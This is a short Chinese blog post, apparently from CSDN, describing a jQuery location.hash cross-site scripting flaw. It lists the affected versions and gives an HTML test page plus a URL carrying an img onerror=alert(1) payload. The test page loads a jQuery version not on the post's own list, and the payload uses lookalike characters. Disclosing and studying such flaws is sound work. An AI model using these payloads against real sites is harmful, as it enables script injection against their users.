JQuery跨站脚本漏洞

本文探讨了jQuery中由于正则表达式过滤用户输入数据的缺陷,导致的location.hash跨站脚本漏洞。受影响的jQuery版本包括1.7.1至1.8.3,1.6.x,1.5.x,1.4.x和1.3.x及1.2.x。通过测试代码`<img src=/ onerror=alert(1)>`,可以在本地环境中复现此漏洞。同时,提供了一个在线测试平台以进行进一步的分析。
摘要由CSDN通过智能技术生成

原理:

    jQuery中过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 location.hash 跨站漏洞

影响版本:

  •     jquery-1.7.1~1.8.3
  •     jquery-1.6.min.js,jquery-1.6.1.min.js,jquery-1.6.2.min.js
  •     jquery-1.5所有版本
  •     jquery-1.4所有版本
  •     jquery-1.3所有版本
  •     jquery-1.2所有版本

测试代码:

<html>
<head>
    <title>JQuery-xss-test</title>
    <script  src="https://code.jquery.com/jquery-1.0.1.js" ></script>
    <script>
    $(function(){
    try { $(location.hash) } 
    catch(e) {}
    })
    </script>
</head>
<body>
    Jquery xss test.
</body>
</html>

然后访问如下:http://localhost/#<img src=/ οnerrοr=alert(1)>

在线测试平台:JQuery跨站脚本在线测试

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值